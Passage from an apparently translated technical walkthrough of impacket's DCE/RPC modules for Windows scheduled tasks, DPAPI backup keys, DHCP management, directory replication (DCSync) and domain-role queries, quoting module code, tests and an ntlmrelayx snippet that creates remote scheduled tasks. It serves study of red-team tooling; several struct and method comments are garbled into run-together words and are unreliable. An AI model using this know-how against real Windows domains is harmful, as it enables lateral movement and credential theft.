                                                                                      'wki100_langroup'][:-1]
        else:
            return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()

MS-TSCH Scheduled Tasks (atsvc / sasec / tsch)

The MS-TSCH scheduled-task RPC interface registers and configures tasks, or queries the status of running tasks on a remote server. It consists of three independent RPC interfaces:

  • Net Schedule (ATSvc) — CRUD on tasks
  • Task Scheduler Agent (SASec) — account information operations
  • Windows Vista operating system Task Remote Protocol (ITaskSchedulerService) — CRUD on tasks, configured via XML rather than the remote registry and file system protocols

atsvc.py

The py module of Net Schedule (ATSvc); the interface UUID is defined at the top of the file:

MSRPC_UUID_ATSVC  = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B','1.0'))
  • Name: ATSvc
  • UUID: 1ff70682-0a51-30e8-076d-740be8cee98b
  • File path: C:\Windows\System32\ taskcomp.dll

It then defines the interface's static flags, the CRUD request structures and the request constructors:

class NetrJobAdd(NDRCALL):
    opnum = 0
    structure = (
        ('ServerName',ATSVC_HANDLE),
        ('pAtInfo', AT_INFO),
    )
.......
def hNetrJobAdd(dce, serverName = NULL, atInfo = NULL):
    netrJobAdd = NetrJobAdd()
    netrJobAdd['ServerName'] = serverName
    netrJobAdd['pAtInfo'] = atInfo
    return dce.request(netrJobAdd)

RPC clients:

  • mstask.dll
  • schedcli.dll

sasec.py

The module implementing the Task Scheduler Agent (SASec) interface:

  • Name: SASec
  • UUID: 378E52B0-C0A9-11CF-822D-00AA0051E40F
  • File path: C:\Windows\System32\ taskcomp.dll

Mainly scheduled tasks involving account-information changes; the client is also expected to use the Windows Remote Registry Protocol MS-RRP:

class SASetAccountInformation(NDRCALL):
    opnum = 0
    structure = (
        ('Handle', PSASEC_HANDLE),
        ('pwszJobName', WSTR),
        ('pwszAccount', WSTR),
        ('pwszPassword', LPWSTR),
        ('dwJobFlags', DWORD),
    )

class SASetAccountInformationResponse(NDRCALL):
    structure = (
        ('ErrorCode',ULONG),
    )
.......
def hSASetAccountInformation(dce, handle, pwszJobName, pwszAccount, pwszPassword, dwJobFlags=0):
    request = SASetAccountInformation()
    request['Handle'] = handle
    request['pwszJobName'] = checkNullString(pwszJobName)
    request['pwszAccount'] = checkNullString(pwszAccount)
    request['pwszPassword'] = checkNullString(pwszPassword)
    request['dwJobFlags'] = dwJobFlags
    return dce.request(request)

tsch.py

  • Name: ITaskSchedulerService
  • UUID: 86d35949-83c9-4044-b424-db363231fd0c
  • FilePath: C:\Windows\System32\schedsvc.dll

The XML format is as follows:

 <!-- Task -->
 <xs:complexType name="taskType">
   <xs:all>
   <xs:element name="RegistrationInfo" type="registrationInfoType" minOccurs="0"/>
     <xs:element name="Triggers" type="triggersType" minOccurs="0"/>
     <xs:element name="Settings" type="settingsType" minOccurs="0"/>
     <xs:element name="Data" type="dataType" minOccurs="0"/>
     <xs:element name="Principals" type="principalsType" minOccurs="0"/>
     <xs:element name="Actions" type="actionsType"/>
   </xs:all>
   <xs:attribute name="version" type="versionType" use="optional"/>
 </xs:complexType>

See the documentation for each parameter.

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/0d6383e4-de92-43e7-b0bb-a60cfa36379f

The module mainly holds static parameter configuration, request structures and request constructors.

This is the most capable and most-used scheduled-task interface among red-team tooling. impacket's ntlmrelayx uses this module's hSchRpcRegisterTask to create scheduled tasks:

# eg./examples/ntlmrelayx/attacks/rpcattack.py
import string
import random

from impacket import LOG
from impacket.dcerpc.v5 import tsch
from impacket.dcerpc.v5.dtypes import NULL


        LOG.info('Creating task \\%s' % tmpName)
        tsch.hSchRpcRegisterTask(self.dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)

RPC clients:

  • taskcomp.dll
  • taskschd.dll
  • wmicmiplugin.dll

[MS-BKRP] bkrp.py — Backup Key Protocol (DPAPI domain backup)

The Backup Key Remote Protocol: a client encrypts and decrypts sensitive data (e.g. encryption keys) with the server's help. Data encrypted under this protocol can only be decrypted by the server, so clients may safely store such ciphertext in storage with no special protection. On Windows it provides user-key protection through the Data Protection API (DPAPI) in an Active Directory domain.

The module wraps backupkey and implements the request functions for server-side wrapping / unwrapping. The BackuprKey method parameters (note: BackuprKey is the original spelling in the protocol document):

 NET_API_STATUS BackuprKey(
   [in] handle_t h,
   [in] GUID* pguidActionAgent,
   [in, size_is(cbDataIn)] byte* pDataIn,
   [in] DWORD cbDataIn,
   [out, size_is(,*pcbDataOut)] byte** ppDataOut,
   [out] DWORD* pcbDataOut,
   [in] DWORD dwParam
 );

The pguidActionAgent GUIDs map to the following functions:

Value Meaning
BACKUPKEY_BACKUP_GUID 7F752B10-178E-11D1-AB8F-00805F14DB40 Requests server-side wrapping. On input, pDataIn must point to a BLOB containing the secret to wrap; the server must treat pDataIn as opaque binary. On output, ppDataOut must contain the secret wrapped in the format specified in section 2.2.4. See 3.1.4.1.1.
BACKUPKEY_RESTORE_GUID_WIN2K 7FE94D50-178E-11D1-AB8F-00805F14DB40 Requests unwrapping of a server-wrapped secret. On input, pDataIn must point to a BLOB containing the wrapped key in the format of section 2.2.4. On output, ppDataOut must contain a pointer to the unwrapped secret, as supplied by the client to the BACKUPKEY_BACKUP_GUID call. See 3.1.4.1.2.
BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID 018FF48A-EABA-40C6-8F6D-72370240E967 Requests the public part of the server's ClientWrap key pair. The server must ignore pDataIn and cbDataIn. On output, ppDataOut must contain a pointer to the server public key in the format of section 2.2.1. See 3.1.4.1.3.
BACKUPKEY_RESTORE_GUID 47270C64-2FC7-499B-AC5B-0E37CDCE899A Requests unwrapping of a secret wrapped on the client with the server's public key. On input, pDataIn must point to a client-wrapped key in the format of section 2.2.2. On output, ppDataOut must contain a pointer to the unwrapped secret in the format of section 2.2.3. See 3.1.4.1.4.

Module usage examples live in impacket's tests directory; the interface wrapper:

def hBackuprKey(dce, pguidActionAgent, pDataIn, dwParam=0):
    request = BackuprKey()
    request['pguidActionAgent'] = pguidActionAgent
    request['pDataIn'] = pDataIn
    if pDataIn == NULL:
        request['cbDataIn'] = 0
    else:
        request['cbDataIn'] = len(pDataIn)
    request['dwParam'] = dwParam
    return dce.request(request)


# eg./tests/dcerpc/test_bkrp.py
class BKRPTests(DCERPCTests):

    iface_uuid = bkrp.MSRPC_UUID_BKRP
    string_binding = r"ncacn_np:{0.machine}[\PIPE\protected_storage]"
    authn = True
    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY

    data_in = b"..."   # plaintext test data (a long movie quote in the original, omitted)

    def test_BackuprKey_BACKUPKEY_BACKUP_GUID_BACKUPKEY_RESTORE_GUID(self):
        dce, rpctransport = self.connect()
        # (1) BACKUPKEY_BACKUP_GUID: ask the server to wrap the secret
        request = bkrp.BackuprKey()
        request['pguidActionAgent'] = bkrp.BACKUPKEY_BACKUP_GUID
        request['pDataIn'] = self.data_in
        request['cbDataIn'] = len(self.data_in)
        request['dwParam'] = 0

        resp = dce.request(request)

        # (2) parse the server-wrapped WRAPPED_SECRET
        wrapped = bkrp.WRAPPED_SECRET()
        wrapped.fromString(b''.join(resp['ppDataOut']))

        # (3) BACKUPKEY_RESTORE_GUID: send the wrapped blob back; the server unwraps it
        request = bkrp.BackuprKey()
        request['pguidActionAgent'] = bkrp.BACKUPKEY_RESTORE_GUID
        request['pDataIn'] = b''.join(resp['ppDataOut'])
        request['cbDataIn'] = resp['pcbDataOut']
        request['dwParam'] = 0

        resp = dce.request(request)

        # (4) the unwrapped result must equal the original plaintext
        self.assertEqual(self.data_in, b''.join(resp['ppDataOut']))

[MS-DHCPM] dhcpm.py — DHCP Management Protocol

The OPNUMS table shows that the dhcpm module wraps DHCP information retrieval functions such as DhcpGetClientInfoV4:

OPNUMS = {
    0: (DhcpEnumSubnetClientsV5, DhcpEnumSubnetClientsV5Response),
    2: (DhcpGetSubnetInfo, DhcpGetSubnetInfoResponse),
    3: (DhcpEnumSubnets, DhcpEnumSubnetsResponse),
    13: (DhcpGetOptionValue, DhcpGetOptionValueResponse),
    14: (DhcpEnumOptionValues, DhcpEnumOptionValuesResponse),
    21: (DhcpGetOptionValueV5, DhcpGetOptionValueV5Response),
    22: (DhcpEnumOptionValuesV5, DhcpEnumOptionValuesV5Response),
    30: (DhcpGetAllOptionValues, DhcpGetAllOptionValuesResponse),
    34: (DhcpGetClientInfoV4, DhcpGetClientInfoV4Response),
    35: (DhcpEnumSubnetClientsV4, DhcpEnumSubnetClientsV4Response),
    38: (DhcpEnumSubnetElementsV5, DhcpEnumSubnetElementsV5Response),
    47: (DhcpEnumSubnetClientsVQ, DhcpEnumSubnetClientsVQResponse),
    123: (DhcpV4GetClientInfo, DhcpV4GetClientInfoResponse),
}

tests/dcerpc/test_dhcpm.py tests fetching DHCP information from a server. impacket itself uses the module nowhere else; extend it when the need arises.

class DHCPMTests(DCERPCTests):
    iface_uuid_v1 = dhcpm.MSRPC_UUID_DHCPSRV
    iface_uuid_v2 = dhcpm.MSRPC_UUID_DHCPSRV2
    string_binding = r"ncacn_np:{0.machine}[\PIPE\dhcpserver]"
    authn = True
    authn_level = RPC_C_AUTHN_LEVEL_PKT_PRIVACY

    def test_DhcpGetClientInfoV4(self):
        dce, rpctransport = self.connect(iface_uuid=self.iface_uuid_v1)
        request = dhcpm.DhcpGetClientInfoV4()
        request['ServerIpAddress'] = NULL
        request['SearchInfo']['SearchType'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientName
        request['SearchInfo']['SearchInfo']['tag'] = dhcpm.DHCP_SEARCH_INFO_TYPE.DhcpClientName
        request['SearchInfo']['SearchInfo']['ClientName'] = self.serverName + "\0"
        request.dump()

        with assertRaisesRegex(self, DCERPCException, "ERROR_DHCP_JET_ERROR"):
            dce.request(request)

[MS-DRSR] drsuapi.py — Directory Replication Service (DCSync)

The Directory Replication Service (DRS) Remote Protocol is an RPC protocol for replicating and managing data in Active Directory. It comprises two RPC interfaces named drsuapi and dsaop; every drsuapi method name starts with "IDL_DRS" and every dsaop method with "IDL_DSA".

The module implements the following methods:

 0 : (DRSBind,DRSBindResponse ),creates aonhandlethismethod
 1 : (DRSUnbind,DRSUnbindResponse ),methodIDL_DRSBindmethodonhandle
 3 : (DRSGetNCChanges,DRSGetNCChangesResponse ),
 12: (DRSCrackNames,DRSCrackNamesResponse ),ingroupobject returns
 16: (DRSDomainControllerInfo,DRSDomainControllerInfoResponse ),retrievesdomainDCinformation

AD is a database. By default each domain controller (DC) stores a copy of it as the file ntds.dit under %SystemRoot%\NTDS. The AD database is logically partitioned into three directory partitions, a.k.a. naming contexts (NCs): the Schema NC, the Configuration NC and the Domain NC. Every DC in the forest holds identical Schema and Configuration NCs (forest-wide data), while every DC in a domain holds an identical copy of that domain's Domain NC. A DC designated as a Global Catalog (GC) server additionally holds partial replicas of other domains' Domain NCs — every object from each domain, but only a subset of attributes.

NC here refers to the application naming context (application NC): a specific type of naming context (or an instance of it) supporting only full replicas (no partial ones). An application NC cannot contain security principal objects in AD DS, but can in AD LDS. A forest may have zero or more application NCs; they may contain dynamic objects, never appear in the global catalog (GC), and are rooted at an object of class domainDNS.

The first replica of an application directory partition is created on the DC it is bound to at creation time; additional replicas can be created on any DC in the forest, not necessarily in the same domain. Application directory partition replicas can exist only on DCs running Windows Server 2003 or later.

NC replica: a variable containing a tree of objects whose root is identified by a naming context (NC).

[MS-DSSP] dssp.py — Directory Service Setup (DsRoleGetPrimaryDomainInformation)

The Directory Service Setup Remote Protocol exposes one RPC interface by which clients obtain domain-related machine status and configuration information.

The module implements only hDsRolerGetPrimaryDomainInformation, querying the MS-DSSP interface's DSROLER_PRIMARY_DOMAIN_INFO_BASIC structure:

 typedef struct _DSROLER_PRIMARY_DOMAIN_INFO_BASIC {
 DSROLE_MACHINE_ROLE MachineRole;currentasDSROLE_MACHINE_ROLE
 unsigned __int32 Flags;theDomainGuid containinginformationthismustasororgroupthegroupasretrievesinformationorallmustas 0
 [unique, string] wchar_t* DomainNameFlat;domainordomaingroup NetBIOS nameif MachineRole DsRole_RoleStandaloneWorkstation or DsRole_RoleStandaloneServerthenthismustas NULLthennotas NULL
 [unique, string] wchar_t* DomainNameDns; realmifMachineRoleDsRole_RoleStandaloneWorkstation orDsRole_RoleStandaloneServerthenthismustas NULLthennotas NULL
 [unique, string] wchar_t* DomainForestName; nameiforserverthenthismustas NULL
 GUID DomainGuid;domain UUID sets DSROLE_PRIMARY_DOMAIN_GUID_PRESENT this
 } DSROLER_PRIMARY_DOMAIN_INFO_BASIC,
  *PDSROLER_PRIMARY_DOMAIN_INFO_BASIC;
Value Meaning
DSROLE_PRIMARY_DS_RUNNING 0x00000001 The directory service is running on this computer; if not set, it is not.
DSROLE_PRIMARY_DS_MIXED_MODE 0x00000002 The directory service runs in mixed mode. Valid only when DSROLE_PRIMARY_DS_RUNNING is set and DSROLE_PRIMARY_DS_READONLY is not.
DSROLE_PRIMARY_DS_READONLY 0x00000008 The computer holds a read-only copy of the directory. Valid only when DSROLE_PRIMARY_DS_RUNNING is set and DSROLE_PRIMARY_DS_MIXED_MODE is not.
DSROLE_PRIMARY_DOMAIN_GUID_PRESENT 0x01000000 The DomainGuid member contains a valid domain GUID. If not set, the value of DomainGuid is undefined.